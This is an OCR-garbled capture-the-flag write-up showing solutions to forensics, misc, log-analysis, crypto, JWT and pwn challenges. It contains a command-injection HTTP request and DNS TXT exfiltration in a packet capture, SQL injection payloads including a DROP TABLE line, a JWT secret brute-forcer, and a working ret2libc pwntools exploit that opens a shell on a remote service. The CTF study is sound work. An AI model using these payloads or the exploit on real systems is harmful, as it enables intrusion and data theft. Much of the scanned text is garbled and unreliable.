Time Source Destination  Protocol Len Info

301 300.326881060
302 380.327000602
303 300.327165018
304 386.327686768
305 300.327686935
306 386.327715682
307 300.327755602

309 300.327899310

192.168.166.28
192.168.166.28
192.168.166.26
192.168.166.26
192.168.166.26
192.168.166.28
192.168.166.28

192.168.166.26

192.168.166..
192.168.166..
192.168.166..
192.168.166..
192.168.166..
192.168.166...
192.168.166..

TCP
HTTP
TCP
TCP
HTTP
TCP
TCP

192.168.166.. TCP

68 34628 » 8080 [ACK] Seq=1 Ack=1 Win=64256 Len——

386 GET /api/network-tool?host=8.8.8.8%3B%20cat%
68 8080 - 34628 [ACK] Seq=1 Ack=239 Win=31872 LC

282 8080 -» 34628 [PSH, ACK] Seq=1 Ack=239 Win=31

19..HTTP/1.0 200 OK
68 34628 -+ 808@ [ACK] Seq=239 Ack=215 Win=64128___
68 34628 » 8080 [ACK] Seq=239 Ack=2092 Win=6233F—

(text/plain)

|

Il

68 8080 » 34628 [ACK] Seq=2892 Ack=248 Win=3187"

318 358.217926 192.168.166.28 8.8.8.8 DNS 71 Standard query @xe8e8 TXT fragmentl.secret-d
311 350.218134 8.8.8.8 192.168.166.. DNS 129/Standard query response @x@e0@ TXT fragmentl
312 358.218316 192.168.166.28 8.8.8.8 DNS 71 Standard query @xe808 TXT fragment2.secret-d

313 350.218431

8.8.8.8

192.168.166.. DNS

129 standard query response @x8e8@ TXT fr‘agmentz-

~ Answers 208 00 90 81 90 91 PO 80 48 11 @3 97 €8 es @3 es
~ {T\agmentl_secpet-data.com: type TXT, class IN G018 ¢c@ a8 ab 1c 88 35 e8 22 ©0 bd 5e 7a 90 @0 85 @0
NENG! fragmcetl cecnet dsia con BN 72 31 05 75 €5 6 72 65 74 29 €4 c1 94 o1 63 €3
gpe:.n;; E;G;eg?m strings) oe40 6F 6d 99 0@ 1@ @@ 81 89 66 72 61 67 6d 65 6e 74
A5 SiE X @656 31 eb 73 65 63 72 65 74 2d 64 61 74 61 @3 63 6
Time to live: @ (@ seconds) 0050 6d @@ 6P 10 0P O1 98 @@ 0@ A8 A8 15 14 52 32 39
Data length: 21 9070 76 5a 43 45 67 57 57 39 31 49 45 5a 70 62 6d 51
TXT Length: 28 8ese 67
TXT: R29vZCEgWWI1IEZpbmQg
[Unsolicited: True]
@ 7 TXT (dns.txt), 20 byte(s) | #8313 || WE: Default
M derderjiapcapng = o 4
MEHF)  RAA(E)  HIE()  BERG) LG wiR(A)  RTHS) mEE(N)  EBEW) TRM BEH
AdEi® TNRBP Le«*ET LS =S aae i@
(N[ mm®ritee . <Cti-/> -]+
Time Source Destination  Protocol Lent Info =—

301 300.326881060
302 300.327000602
303 300.327165018
304 380.327686768
305 380.327686935
306 300.327715602
307 380.327755602

192.168.166.28
192.168.166.28
192.168.166.26
192.168.166.26
192.168.166.26
192.168.166.28
192.168.166.28

192.168.166..
192.168.166..
192.168.166...
192.168.166..
192.168.166...
192.168.166..
192.168.166...

TCP
HTTP
TCP
TCP
HTTP
TCP
TCP

68 34628 -» 8080 [ACK] Seg=1 Ack=1 Win=64256 Len
386 GET /api/network-tool?host=8.8.8.8%3B%28cat%
68 8080 » 34628 [ACK] Seq=1 Ack=239 Win=31872 L _
282 8088 - 34628 [PSH, ACK] Seq=1 Ack=239 Win=31

19..HTTP/1.0 208 OK
68 34628 - 8080 [ACK] Seq=239 Ack=215 Win=64128 __
68 34628 » 8080 [ACK] Seq=239 Ack=2892 Win=6233F—

(text/plain)

[l

309 380.327899310
310 3560.217926
311 350.218134
312 356.218316

192.168.166.26

192.168.166.28
8.8.8.8

192.168.166.28

192.168.166.. TCP

8.8.8.8 DNS
192.168.166.. DNS
8.8.8.8 DNS

68 8080 - 34628 [ACK] Seq=2092 Ack=240 Win=3187"—
71 Standard query @x8808 TXT fragmentl.secret-d.

129 Standard query response 8x@0ee TXT fragmentl

71 Standard query @xeee8 TXT fragment2.secret-d.

313 350.218431

8.8.8.8

192.168.166.. DNS

~ Answers
~ fragment2.secret-data.com: type TXT, class

Name: fragment2.secret-data.com
Type: TXT (16) (Text strings)

Class: IN (@xeeel)

Time to live: © (@ seconds)

Data length: 21
TXT Length: 2@

TXT: aXQgUGFulU2hpMjAyNSE=

[Unsolicited: True]

IN

O 7 TXT (dnstxt), 20 byte(s)

£48 8125 F5 PanShi2025!

—H =
(SN

oeee
0g1e
0820
083e
e840
ease
2868
ea7e
eese

129/Standard query response @x0@0@ TXT fragment2

313

N

: Default



Recipe ~omBs Input

From Base64 -
Alphabet
A-Za-20-9+/=

Remove non-alphabet chars D Strict mode

&5%%%& EEE; ())(112323E5Z[:]§Ei

i

File Edit Select Find

R29VZCEgWW91TEZpbmQgaXQgUGFuU2hpMjAyNSE=

aec 40 = 1 i} 24—39 (15 selected)

Output

Good! You Find it PanShi2@25!

View Format Scripts Templates Debug

Project Tools Window Help

E b BEfdgeFe YhHhiEO0E B> 3§

derderjia.png x

ey
: "k-YAZE<™¢

. 63&E .%)%e
YateafsddAivC.m.
i®.8@4%.\°83,.\.
ap8.PLVF. Ry . ykE
'@..%RIIV .2, 08
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Ciju$"",r0.£ Bal
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1% ¢c™+am G, %07 |
tPE. . E°.Ng
<.UpvaByle-
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°,sAOE°0? .U6-40.
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675, 7. ¥O3MYAUAW
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14K | solved

A,

O

7N\

M EEARE

attachment.zip
27.17KB

[EE#hOXME J\ 1L
COngr4tulation!!YOu_hav3_passed_th3_first_[3vel!!

Recipe

Reverse
By
Character
From Binary
Delimiter
Space
Reverse

By
Character

BERTANEERIEREHRENS,

Byte Length
8

~ 0Bl B
~0n

~0mn

~0n

Input

11000010
00101110
00010110
00100110
00101110

00001100 01110110
10010110 11110110
10000110 01101110
11111010 00101110
11111010 00110110

nec 440 = 1

Output

11100110 01001110 00101100 00101110 10101110
ol110110 10000106 10000100 10011010 00001100
11001100 11111010 00001110 10000110 11001110
00010110 11001100 11111010 01100110 10010110
11001100 01101110 10100110 10001100 10000100

Congrdtulation!!Y@u_hav3_passed_th3_first_13vel! l\

BEX BRI LURRLF
yOU_hav3_arriv3_th3_secOnd_1level!!!!!

+ 0O w =

10001100 10000110
101el11le 11111010
11001110 10100110
0l001110 11001110
10000100

Tr Raw Bytes ¢ LF

B0 m

ra
La



Recipe

Reverse
By
Character
From Binary

Delimiter

Space

XOR Brute Force

Kev lenath
1

Scheme

Standard

[ output as hex

Bvte Length
8

Sample lenath
1o

D Null preserving

~ .

A~ 0O n

A~ O n

Sample offset

2]

Print key

Crib (known plaintext string)

STEP & BAKE!

2bitt& E

WelcOm3_TO_[3vel_thr3e

HADIR

1 dic
2

3

4

5

6 1}
7

8 m =
9

10 ans
11 for
12

13

14

15

16

{

"e0": "00",
"e1": "e1",
"11": "10",
"1e": "11",

Auto Bake

+DO2n =

@llliellellllellellllellellllellellllellllesleelelelleelleelecelelelleelellleelleasselelllelleelle
eeleellllleelleellleelelolleeleelloeoloceteleleelleellllleleellleleceleeneeloleelleallleeleeelelle
leellelleeellelleeelalllleeleceeeleleelleellleeleeelellllealllleleeleseeelelolalelellllleellelleee

o1

Input

me 296 = 1 Tr Raw Bytes €4 LF
Output a r[:l m o
By T R E RUAMI MUY TUMATYS WS TRV W A A

Key = f@: v?ZPgny<Pn}}fy<P{g<P|jl?akP>jyjc.....

Key = f1: w>[Qfox=Qo||gx=Qzf=Q}km>"jQ?kxkb/////

Key = f2: t=XRel{»>R1le+d{>Rye>R~hn=ciR<h{ha,,,,,

Key = f3: u<¥sdmz?Sm~~ez?5xd?5+io<bhS=izi"-----

Key = f4: r;*Tcj}8Tjyyb}8T+c8Txnh;eoT:n}ngk****

Key = f5: s:_Ubk|9Ukxxc|9U~b9Uyoi:dnU;o|of+++++

Key = f6: p9\Vahs:Vh{{ +:V}a:vz1jogmv8lele(((((

Key = f7: q8]W i~;Wizza~;W|" ;W{mk8f1WOm~md)))})

Key = f8: ~7RXofqg4xfuungdXsodXtbd7icX6bgbk&&&&E

Key = f9: «65YngpSYgttopS¥rnSYucebhbY7cpej'"' """

Key = fa: |SPZmds6Zdwwls6ZqmbZv™ fSkaza s i33$%%

Key = fb: }4Q[ler7[evvmr?[pl7[wagdj [Sarahxxxx%

Key = fc: z3V\kbu@\bgqjue\wke\pf 3mg\2fufo"""""

Key = fd: {2W]jctl]cppktl]lvil]qga2lf]3gtgnissss

Key = fe: x1T*i w2* sshw2”ui2*rdbloe”@dwdm

Key = ff: y@U_hav3_arriv3_th3_secend_level!!!!!

ac 1753@ = 255 (@ 5ms  Tr Raw Bytes € LF

"01010110 01110101 01111000 01110010 1060000 01111001 1060010 010110106
01010100 16000600 01011010 011110600 1060016 0116060111 01110101 160001 016110106
01100100 01111100 01100011 100010 01110101 110001 110001 110001 110001".split()

_i

in m:

tmp = i.zfill(8)
ans += chr(int(dic[tmp[:2]] + dic[tmp[2:4]] + dic[tmp[4:6]] +
dic[tmp[6:1], 2))

print(ans)



01%Ef, 236000057+, JFNFIAER600*600RIE H

RIBIR
1 from PIL import Image
2
3 def draw_pixels_from_file(filename, width=600, height=600,
output="output.png"):
4
5 with (filename, 'r') as f:
6 data = f.read().strip().replace('\n', "").replace(' ', '")
-
8 if (data) != width x height:
9 raise ValueError (f"#IBEKEN A {widthxheight}, SEfRA { (data)}")
10

11



12 img = Image.new('L', (width, height))

13 pixels = img.load()

14

15 for i in range(height):

16 for j in range(width):

17 index = i * width + j

18 val = 255 7f data[index] == '1' else 0
19 pixels[j, i] = val

20

21 img.save (output)

22 print(f"[+] BBREREFEN {output}™)
23

24 if __name__ == "__main__":

25

draw_pixels_from_file(r"C:\Users\SeanL\Downloads\attachment\level_2\level_3\lev
el_4\chal4.txt")

ERRRUE, XHRZE01

ADIR

import os

from Crypto.Util.number 7import *

ans = [""] % 340

files =

os. listdir(r"C:\Users\SeanL\Downloads\attachment\level_2\level_3\level_4\last_1

evel")

A W N

for £ in files:
a, b = f.split(".")
ans[int(b)] = a
binary = "".join(ans)

O 00 N oo U»n

m = int(binary, 2)

10 print(long_to_bytes(m))

11

12 # flag{92e321al-43a7-2661-afe4-206581b782f3}

easy_misc | solved

attachments.zip ®
1.91KB

secret.png/gEIR T ME4EE, EENHFE



(base) /home/starr
zsteg secret.

0p0Qe000: 50 7 IPK.oniana a.{u.cl
00000010: ea 7 |oFoomolivooaon: wh|
0000B020: 61 74 7L 6 fi jat.txt....5.....|
00000030 45 : c 4 7 |E.BE.a.g).%.1I7.r|
00000040 77 a3 b2 14 f1 72 4 2e fc 21 a2 4 TEaadniEt oo (o ]
00000050: 36 8 - 2 7 7a 5 l6..px.%..p.2\.. |
00000060: f4 65 8 b 6t 3f 94 98 4 79 ¢ l.e.o.k.!......yll
00000070: 66 b 44 . 4 6 08 & AT T YR |
00000080: 66 56 a 7 4 FESSER . . y-- L El
00000090: c5 52 le 42 32 4 5 ---R-B2 ... CO-6 - |
000Q@0an: 25 | 2 8 9a 1 p Sa an G a w matntan k]
000000b0: f2 a 2 7 5 -pF..* ... Urk..P?|
00000BCO: 2a a2
opeeeade: 2f

000Qe0ed: 7b

000000f0: 24

ENIEAEIPS

50 4B 03 04[14 0000

EA 46|AC 00 00 00|68

61 74 2E 74 78 74|F3 CF ' at.txtoT105488. AE
45 9C 42 45/10 61 OF EeBE.a.g)A%iI7r
77 D9 A3 B2 14 F1 72 WOE2 ,Arid.ulcH. .
36 8B 18 85 44 78 99 6<..Dx™$3Ep.z\.f
F4 65 8F 30 0B 6B 92 6e.0.k" V. €yl
66 91 9B 44 BO F9 91 fyD°U'C4A°8°. . T
66 11 C8 66 A4 A7 7B f.Efa8{0.%0y"0,E
C5 FO A2 52 1E 42 32 R&CR.B2<61CQb& !0
25 22 EC 89 A8 40 C8 " i% @E(E. ,.5.%)
F2 70 46 CO A0 2A BF OpFA *;.=UrkE.P?
2A A2 E5 21 8A 4A 7E *Ca1S)~ou. . AE, !
2F 0050 4B 01 02 14

7B 55 E7 43 EA 46 AC

24 00 00 00 00 00 00

77 68 61 74 2E 74 78 what.txt. .

01 00 18 00 F4 D2 8F ....060."s.0.60."

73 02 D9 01 SE A7 D8 s.U.z80(s.U.PK..
00 00 00 00 01 00 01
00 00

Template Results - ZIP.bt &
Name Value Type Color Comment
record what.txt struct ZIPFILE... |:|

dirEntry what.txt struct ZIPDIRE... |:|
endLocator struct ZIPEND... |:|




< C 25 stuffsplitbrain.org/ook/

yOu c@t m3!!!

Text to Ook! || Text to short Ook! Ook! to Text
Text to Brainfuck Brainfuck to Text

fkEZflag

F flag.txt X +

File Edit View

htlag{30889b0b—696b—1 led-9a10-145afc243ea?}

WiERE

Brute_Force_Detection | solved

RINENX: BE—IRIPTE 100#A SE—RAF ERSRKN, HH B B5RKM F—REEM
o HNE_ERRICAVRIPIEN—RBIIRENINE R

£ ATREIHFR auth.log (F&=(: YYYY-mm-dd HH:MM:SS RESULT user=<u> ip=
<a.b.c.d>) , i HILTZEXWE—IRIPRS, flagigz\: flag{ipl:ip2...}, IPIEMNEIK,



auth.zip ®
13.50KB

ARISIR

1 import re

2 from datetime 7import datetime, timedelta

3

4  def parse_log_line(line):

5 # BIM—1THE

6 pattern = r"(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) (SUCCESS|FAIL) user=

(\S+) dip=(\S+)"
match = re.match(pattern, line)

if match:
time_str, result, user, ip = match.groups()

10 time = datetime.strptime(time_str, "%Y-%m-%d %H:%M:%S")
11 return time, result, user, 1ip
12 return None
13
14  def detect_brute_force_success(f7ilename) :
15 from collections 7import defaultdict, deque
16
17 attempts = defaultdict(list) # (user, ip) - list of (time, result)
18
19 # BEENE, BIFIERET (user, ip) BIETE=1t
20 with open(filename, 'r') as f:
21 for line 1in f:
22 parsed = parse_log_line(line)
23 if parsed:
24 time, result, user, 1ip = parsed
25 attempts[(user, ip)].append((time, result))
26
27 suspicious_ips = set()
28
29 # BFHEFT (user, ip) BIIDR
30 for (user, ip), records 7in attempts.items():
31 q = deque() # RESRVIHIEIICR
32 for i, (time, result) 7n enumerate(records):
33 if result == "FAIL":
34 g.append (time)
35 # RIFAFIKE < 5
36 if len(q) > 5:
37 g.popleft()
38 # B DHHIRTL
39 if len(q) == 5 and (q[-1] - q[0]) <= timedelta(minutes=10):
40 # MBESXZ/EH T —5FE/L)

41 7f i + 1 < len(records):



42 next_time, next_result = records[i + 1]

43 7f next_result == "SUCCESS":
44 suspicious_ips.add(ip)
45 else:

46 # I ET KIS

47 g.clear()

48

49 return suspicious_ips

50

51 def main():

5. filename = r'"C:\Users\SeanlL\Downloads\auth.log"
53 ip_list = sorted(detect_brute_force_success(filename))
54 print(f"flag{{{':'.join(ip_list)}}}")

55

56 7if __name__ == "__main__":

57 main()

58

59 # flag{192.168.3.13:192.168.5.15}

SQLi_Detection | solved
ol =ML BISQLIE NS :

wall G
Bl AN

=3I 'ORZL 'AND

ffl: admin' OR'1'="1"--

JRIE: 1BIFOR/ANDE LT B30I
B2 REEEAN

##3(: ' UNION SELECT

f5l: ' UNION SELECT username,password FROM users --
[RI2: BEIUNIONEX S EIHFRENENIM IR

Bn3: WEEIEN

Bl fekiEe



~f3l: '; DROP TABLE users; --

R @I SHITE 1 SQLIES
HIEIZIE

AU EE—RILEIHFIE RASQLENK T,

£55: 43t logs.txt A SQL IENRIITER, flaghg=t: flag{1T%4}o

logs.zip
4.22KB ©

AREGIR

1 dmport re

2

3 def count_suspicious_lines(log_file_path):

4 # EX=FSQLENRIY (BRBEANT)

5 patterns = [

6 re.compile(r"' OR |' AND ", re.IGNORECASE), # THIEN
7 re.compile(r"' UNION SELECT", re.IGNORECASE), # BEEEIEEN
8 re.compile(r"';", re.IGNORECASE) # WEEZIEEIN
9 ]

10

11 count = 0

12 try:

13 with open(log_file_path, 'r', encoding='utf-8') as file:

14 for line in file:

15 if any(pattern.search(line) for pattern in patterns):
16 count += 1

17 except FileNotFoundError:

18 print(0) # XMHAF1E, %o

19 exit()

20 except:

21 print(0) # Efth#EiRtmHo

22 exit()

23

24 return count

25

26 # FEF REHHF

27 if __name__ == "__main__":

28 result = count_suspicious_Llines("logs.txt")

29 print(result)

30 #flag{451}



DB_Log | solved

B ik

FABRNEWVHEEFEREF IR, FEDTEEFRELE, RlEREVLEERNZET
Mo BRHEE4MER] (HR. Finance. IT. Sales) RINIREIR, S MEBITRAELIRAFERIEEER,

Al AN PRERHE
BB IEHER D

HRZBI]: employee_info. salary_data. personal_info
FinanceZBi]: financial_reports. budget_data. payment_records
ITEBI]: system_logs. server_data. network_config

Sales&f]: customer_data. sales_records. product_info

BURFEL: salary. ssn. phone. email. address

oaUpSWL
N1 ESERI &R IR I R)ER
A AR AR ER IR BUER

A2 SRR RSN
WA BRI ARLEEFER

MN3: TIERfEIMEIERE
WMTEIETERTIE] (RR0-57) HITRVSUIEEIRE

MN4: BIEEDEBIRE
KMIEIRN A FHRITEIRE D121 (RBEEIEA R LIITBACKUP)

ESEK

D RHVEIEERERS, KRR LERAMNNIRZENTH, BHEERNES-BEIDS
L, FItHEMD5E,



il = e W

EMIER: MRS -BEID, N4 S-HEID,...
HFIR A% 58 B & IDIR =
flagi&=\: flag{MD5(XLN%%S-BEID, N4 S-BEID,...)}

N

EMIZR: 3-884,4-1036,2-1120,2-1214,1-1437,2-1553,3-1580,3-1794
flag{md5(3-884,4-1036,2-1120,2-1214,1-1437,2-1553,3-1580,3-1794)}
flag{0270383124549df3bdf631ff83e7cch5}

attachment (1).zip ®
27.45KB
ARG ER
1  import time
2 from hashlib import md5
3
4 PATH = r"C:\Users\SeanL\Downloads\attachment"
5
6 records = []
7  with open(PATH + r'\database_logs.txt", 'r') as file:
8 for line 7n file:
9 if line.strip():
10 tmp = line.strip().split()
11 records.append (tmp)
12
13 users = {}
14 with open(PATH + r'"\user_permissions.txt", 'r') as file:
15 for line 7n file:
16 if line.strip():
17 tmp = line.strip().split(", ")
18 users[tmp[1]] = [tmp[2], tmp[3].split(";"), tmp[4].split(";"),
tmp[5]]
19

20 fileds = ["salary", "ssn", "phone", "email", "address'"]
21
22  target
23

(]



24 for record 7n records:

25 user = record[3]

26 # A1

27 7f "QUERY" == record[4]:

28 database = record[5]

29 7f not (database in users[user][1]):

30 target.append(["1", record[0]])

31

32 # A2

33 if "field" in record[-1]:

34 field = record[-1].split("field=")[1]

35 if field in fileds:

36 target.append(["2", record[0]])

37

38 elif "BACKUP" == record[4]:

39 # A4

40 7f usersfuser][-1] != "admin":

41 target.append(["4", record[0]])

42

43 # A3

44 7f time.strptime(record[2], "%H:%M:%S") <= time.strptime("05:00:00",
MH 1 %M :%S")

45 target.append(["3", record[0]])

46

47  target.sort(key=lambda x: int(x[1]))

48  target = ",".join([f"{x[0]}-{x[1]}" for x in target])
49  print(target)

50 print(f"flag{md5(target.encode()) .hexdigest()}")

51

52 # flag{1ff4054d20e07b42411bded1d6d895cf}

AES_Custom_Padding | solved
BR ERANEMDEIEER AES-128-CBC I, BXRATEHENIER:

TEERASCREARINI—1 15 0x80;

ZIEER Ox00 HITHEZEINAT 16 FTTRK, (CEE: NRBAXIEFERKERE, RFEEEER
n— 522 IE 7R 0x80 + 0x00*15)

Bx0:

Key (hex) : 0123456789ABCDEF0123456789ABCDEF
IV (hex) : 000102030405060708090A0BOCODOEOF



NZE % cipher.bin (Base64 fRiZHIE)

15 REMBIER, FALATE Key/IV #1T AES-128-CBC g2
FIBBSZ,

7.

, AR ERBEXIERERIER, 1§

cipher.zip ®

2 551B

(SN

1 from Crypto.Cipher -{import AES

2  import base64

3

4 # ESH

5 KEY_HEX = '0123456789ABCDEF0123456789ABCDEF"'

6 IV_HEX = '000102030405060708090A0BOCODOEOF"

7  CIPHER_FILE = 'cipher.bin'

8

9 def unpad_custom(data):

10 data = bytearray(data)

11 for i 1in range(len(data) - 1, -1, -1):

12 if data[i] == 0x80:

13 return bytes(datal:i])

14 elif data[i] != Ox00:

15 raise ValueError("Invalid padding: missing Ox80 marker")
16 raise ValueError("Invalid padding: no 0x80 found")
17

18 def decrypt():

19 try:

20 with open(CIPHER_FILE, 'r') as f:

21 b64_ciphertext = f.read().strip()

22 ciphertext = base64.b64decode(b64_ciphertext)
23 except Exception as e:

24 print(f"Error reading or decoding ciphertext: {e}")
25 return

26 key = bytes.fromhex (KEY_HEX)

27 iv = bytes.fromhex (IV_HEX)

28 cipher = AES.new(key, AES.MODE_CBC, 1v)

29 padded_plaintext = cipher.decrypt(ciphertext)

30 try:

31 plaintext = unpad_custom(padded_plaintext)

32 print(plaintext.decode('utf-8', errors='replace'))
33 except Exception as e:

34 print(f"Decryption or unpadding failed: {e}")
35

36 if __name__ == "__main__":

37 decrypt()



38 #flag{Tls_411_4bOut_AES_custom_padding!}

ACL_Allow_Count | solved
ACL AIMTEAR S 5t ¥4 B3t

WEH: 4A7E 3 & ACL M5 2000 &£ REHE (rules.txt, traffic.txt) o

FM#ETL: <action> <proto> <src> <dst> <dport>
action: allow/deny

proto: tcp/udp/any

src/dst: IPv4 8 CIDR g% any

dport: iz[1S5 any

TREMRI: <proto> <src> <dst> <dport>

CECERM: B _EMF first-match; BXLILENIZRIA denys,

5. FitwaF (allow) BREFHHBLZET, flagigzh: flaglallowRESKEK]

attachment.zip ®
27.7TTKB
ARG ER
1 dmport -tipaddress
2
3 def ds_ip_in_range(ip, rule_ip):
4 "R E IP @R IEMNPA IP 5 CIDR"""
5 if rule_ip == "any":
6 return True
7 try:
8 ip = 1dpaddress.ip_address(ip)
9 rule_network = ipaddress.ip_network(rule_ip, strict=False)
10 return ip in rule_network
11 except ValueError:
12 return False
13
14 def match_rule(traffic, rule):
15 S ERE R S ILECE &AM

16 t_proto, t_src, t_dst, t_dport = traffic



17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

def main():
# BEERELI

r_action, r_proto, r_src, r_dst, r_dport =

# XA
if r_proto != "any" and r_proto != t_proto:
return False

# JFHIAOTAD
if not dis_ip_in_range(t_src, r_src):

return False

# BHAYHALIT AT
if not dis_ip_in_range(t_dst, r_dst):
return False

# BAYimO0TAD
if r_dport != "any" and r_dport != t_dport:
return False

return True

(]

with open("rules.txt", "r") as f:

for line in f:

parts = line.strip().split()
if len(parts) ==
rules.append(parts)

# BRECTEH T

allow_count = 0

with open("traffic.txt", "r") as f:
for line in f:

traffic = line.strip().split()
if len(traffic) != 4:
continue
# #iL deny
action = "deny"
for rule in rules:
if match_rule(traffic, rule):
action = rule[0]
break
if action == "allow":
allow_count += 1

# AR
print(f"flag{{{allow_count}}1}")

rule



64

65 if __name__ == "_main__":
66 main()

67

68 # flag{1729}

JWT_Weak_Secret | solved
B ik
A B RPN E KRR PRIIWT (JSON Web Token) Re®HIHES, TEWNEMABEHRERZAIWT
<hE, FIRFNBEBEESNIRNAR.

ESEK

1. FRWIE:

WFHS256 F7ZMIWT . ERAFHRPHNEZEEZ—ZRWIELE
STFRS256 FAZMIIWT . R ARIIERZ

2. NRIE:
OB IWTEHARRIEE RN RARIR

EEGNREMH: admin=true 5% role € {admin, superuser}

3. FITER:

it ERY i LA N R ARIIWT ShEEE

FEWIb@Ed

BEEERNE

flagt&z(: flag{a:b:c...},a,b,c@ShEFS, MNEIRBIIRRE



JWTE L RGI

{
"iat": 1721995200,  // Z&BtE
"exp": 1722038400,  // idEARaE]
"sub": "alice", /] BP#RIR
"iss": "svc-auth", /| EXRE

"admin": true, /| BRGNS (F1)
"role": "admin" /] FABIRR (F52)
}
attachment.zip ®
- 5.53KB
(AN EES
1 dmport jwt
2 dmport json
3 from cryptography.hazmat.primitives import serialization
4
5 def load_public_key(pem_file):
6 "UinE RSA REAMM
7 try:
8 with open(pem_file, "rb") as f:
9 pem_data = f.read()
10 return serialization.load_pem_public_key(pem_data)
11 except Exception as e:
12 print(f"Error loading public key: {e}")
13 return None
14
15 def load_wordlist(wordlist_file):
16 "R S AT A
17 try:
18 with open(wordlist_file, "r") as f:
19 return [line.strip() for line in f]
20 except FileNotFoundError:
21 print("Error: wordlist.txt not found")
22 return []
23
24  def has_admin_privileges(payload):
25 "B ESEEEERNE"
26 return payload.get("admin", False) is True or payload.get("role") 1in

["admin", "superuser'"]



27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

def main():
# & pyjwt HRZAK
try:
print(f"PyJWT version: {jwt.__version__}")
except AttributeError:
print("Error: Incorrect jwt module installed. Please install pyjwt.")

return

# WE L AHIG5Z 557
public_key = load_public_key("public.pem')
if not public_key:

return
wordlist = load_wordlist("wordlist.txt")
if not wordlist:

return

# BEER JwT SHE
try:
with open("tokens.txt", "r") as f:
tokens = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print("Error: tokens.txt not found")

return

# U 1N
valid_tokens = []
for idx, token 1in enumerate(tokens, 1):
try:
# BFES header LIFFEXE %
header = jwt.get_unverified_header (token)
alg = header.get("alg")
if alg not in ["HS256", "RS256"]:
print(f"Token {idx}: Invalid algorithm {alg}")

continue

# BEEZ payload (FIIEER)
payload = jwt.decode(token, options={"verify_signature": False})

# MEBEEIEGNR
if not has_admin_privileges(payload):

continue
# IUIESE
verified = False
if alg == "HS256":

for secret in wordlist:



74
75
76
7
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
93
100
101
102
103
104
105

PWN

try:
jwt.decode(token, secret, algorithms=["HS256'"])
verified = True
break
except (jwt.InvalidSignatureError, jwt.InvalidTokenError):
continue
elif alg == "RS256":
try:
jwt.decode(token, public_key, algorithms=["RS256"])
verified = True
except (jwt.InvalidSignatureError, jwt.InvalidTokenError):

continue

# WREZZFILET AE EEGINIR, I0RFS
if verified:
valid_tokens.append(idx)

except jwt.DecodeError:
print(f"Token {idx}: Failed to decode token")
continue

except Exception as e:
print(f"Token {idx}: Error - {e}")

continue

# HILHER
if valid_tokens:

print(f"flag{{{':'.join(map(str, sorted(valid_tokens)))}}}")
else:

print("flag{}")

if __name__ == "__main__":

main()

account | solved

pwn_account.zip ®
854.10KB



¥ IDA - account C:\Users\18510\Downloads\pwn_account\BI&##R\account = () X
File Edit Jump Search View Debugger Lumina Options Windows Help

[ € e v v & & 86 B t AV T of of @& F v om X » @ O No debugger v 2 N
N N AR 00| I NN | | . [}
Library function [l Regular function Ml Instruction Data Unexplored External symbol Ml Lumina function
[@ Functions O & X @ IDA View-A @ Pseudocode-A 8 B Hex View-1 ] B  Structures &) Enums =) Imports &2} Exports
Function name 1lint vul()
@ _init_proc 2q
[ sub_8049030 3 int vi[11]; // [esp+0h] [ebp-38h] BYREF

@ sub_8049040
(7 sub_8049050
(71 sub_8049060
[@ sub_8049070
7 sub_8049080 puts(“Accounting Book");

(7 _setbuf puts("Enter your bill, enter © to exit:");
(7 _alarm 9 while (1)

7 _puts 10 (

@ __ libc_start _main . oy 4

(@ ___isoc99_scanf 11 __isoc99_scanf("%d", vi);
@ _start 12 if ( lvi[e] )

@ sub_8049117 13 break;

[ _dl_relocate_static_pie = .
2_x86_get_pc_thunk_bx 1 vile2] = vifels
(@ deregister_tm_clones
[@register_tm_clones 16 return puts(“"Recording completed”); |
@ __do_global_dtors_aux 17}

(@ frame_dummy

@init

@ vul

@ main

@ __x86_get_pc_thunk_ax
[@__libc_csu_init

(A _libc_csu_fini

@ __x86_get_pc_thunk_bp
@ _term_proc

@ setbuf

[Falarm

A puts

@ __libc_start_main

@ __isoc99_scanf

int v2; // [esp+2Ch] [ebp-Ch]

4
5
6 v2 =0;
7
8

Line 22 of 33 000012E6 vul:16 (80492E6)
= Output a&x

If the segment is not read-only, please change the segment NAME.

In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only. |
-> OK

Python
AU: idle Up Disk: 23GB

322, )& FFPIE, & FFcanary

8] LU H B AR, B et T AME SuR et

32{IfYiE A leak_libcHIrop T AT L

Z3libc/g, FEEEZ A libcaYithit K A% N Hscanf("%d"),Mlibciiit K=, B iz N\ fa 3K
FHAN1EEEsystemF/bin/shayitiit FehBERAZHEE—T

(ASEEZS

from pwn import *
#io=process('./pwn')
jo=remote("pss.idss-cn.com",22413)
libc=ELF('./libc-2.31.s0")
jo.recvuntil(b"Enter your bill, enter 0 to exit:\n")
def bug():

gdb.attach(io)
def s(num):

0 N oo 0~ W N K

(o]

jo.sendline(str(num).encode())

=
(@)

for i in range(10):
11 s(i+l)

12 s(0xd)

13 #====rop

14 s(Ox80490B4)

15  s(0x8049264)

16  s(0x804C014)

17  s(0)



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
83
34
35
36

jo.recvuntil("Recording completed\n")
base=u32(io.recv(4))-libc.sym.puts
print(hex(base))
system=base+libc.sym.system
bin_sh=base+next(libc.search("/bin/sh\x00"))
print(hex(system))
print(hex(bin_sh))
jo.recvuntil(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):

s(i+l)
s (0xd)

s(system-0x100000000)
s(1)
s(bin_sh-0x100000000)
s(0)

jo.interactive()

#flag{aOvnwpjA6hQglrHBbKAUEISXXMt7cClY}

User | solved

user.zip ®

W IDA - user C:\Users\18510\Downloads\user\user o X
File Edit Jump Search View Debugger Lumina Options Windows Help
B H e€voev @ & & & t Ev @O & o # FvF @ X > O ONodebugger viele @FF
B 0 11 B B | 1
Library function Ml Regular function Ml Instruction Data Unexplored External symbol Ml Lumina function

@ Functions O& X @ 1IDAView-A O @ Pseudocode-A @ @  Hex View-1 (<] @  Structures (x] ] Enums =) Imports 2] Exports
Function name 1
7 read 2 int _ fastcall main(int argc, const char **argv, const char **envp)
7 _malloc 39
@ _setvbuf 4 init_data();
@ _atoi 5 while (1)
